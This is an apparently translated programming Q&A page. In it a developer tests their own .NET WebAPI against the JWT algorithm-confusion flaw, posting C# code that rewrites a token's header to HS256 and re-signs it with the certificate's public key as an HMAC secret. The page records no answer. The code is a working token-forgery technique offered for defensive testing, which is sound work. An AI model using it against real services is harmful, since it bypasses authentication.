c# - C# 审查中的 JSON Web Token 漏洞测试
问题描述
我试图检查 .NET Framework 4.5 的 WebAPI 中的 JWT 令牌承载支持是否存在https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/报告的漏洞。因此,我编写了以下代码,该代码采用现有的有效 JWT 令牌,操作标头,使用证书公钥重新生成签名并将其重新发送到服务器。
private static string TestSecurityVulnerability(string originalToken)
{
var parts = originalToken.Split(new[] { '.' }, StringSplitOptions.RemoveEmptyEntries);
var headerPart = Encoding.UTF8.GetString(Convert.FromBase64String(parts.First()));
var payloadPart = Encoding.UTF8.GetString(Convert.FromBase64String(parts.Skip(1).First()));
dynamic headerJson = JsonConvert.DeserializeObject(headerPart);
headerJson["alg"] = "HS256";
headerJson["kid"] = 0;
var tamperedHeaderEncoded = Base64UrlEncode(Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(headerJson)));
var cert = Certificate.Load();
var publicKey = cert.PublicKey.EncodedKeyValue.RawData;
var base64PublicKey = Convert.ToBase64String(publicKey); //Not using it but great for verifying if token is "valid"
var sha = new HMACSHA256(publicKey);
var newSigBinary = sha.ComputeHash(Encoding.UTF8.GetBytes(tamperedHeaderEncoded + "." + parts.Skip(1).First()));
var newSigEncoded = Base64UrlEncode(newSigBinary);
return string.Join(".", tamperedHeaderEncoded,
parts.Skip(1).First(),
newSigEncoded);
}
// from JWT spec
private static string Base64UrlEncode(byte[] input)
{
var output = Convert.ToBase64String(input);
output = output.Split('=')[0]; // Remove any trailing '='s
output = output.Replace('+', '-'); // 62nd char of encoding
output = output.Replace('/', '_'); // 63rd char of encoding
return output;
}
至于Certificate.Load()
,它所做的只是查找我在 IdentityServer 上使用的证书来签署令牌,并返回System.Security.Cryptography.X509Certificates.X509Certificate2
证书(带有公钥和私钥的 PFX)。
我还检查了 的值base64PublicKey
以查看 base64 版本的公钥是什么,以将其用作256-bit-secret
jwt.io 上的。
我的问题是,我做的一切正确吗?我已经在https://jwt.io/上检查了我的解决方案,从我正确签署 JWT 的角度来看,这似乎是合法的,但我不知道我是否正确提取了证书。要是有一双眼睛看透这件事并告诉我,那就太好了。
PS 在我当前的测试中,服务器返回说“未经授权”;-)
解决方案
推荐阅读
- javascript - Google Maps API:如何捕捉“DIRECTIONS_ROUTE:NOT_FOUND”?
- google-colaboratory - Colab:如何在不关闭选项卡的情况下断开会话?
- php - PHP Laravel 将文件 doc 转换为 pdf
- php - Kubernetes k3s:我需要从 nginx Web 服务器 pod 访问 nats 服务器
- usb - jetson XAVIER NX USB 批量失败
- laravel - 如何通过IP地址查看城市
- php - 各种结果链接
- powershell - 如何使用 REST API 销毁 TFVC 中的分支?
- c# - select2 多个下拉菜单保存到 Oracle 数据库
- java - 我不明白 return 如何与所涉及的 if/else 语句一起工作-请帮助 [java]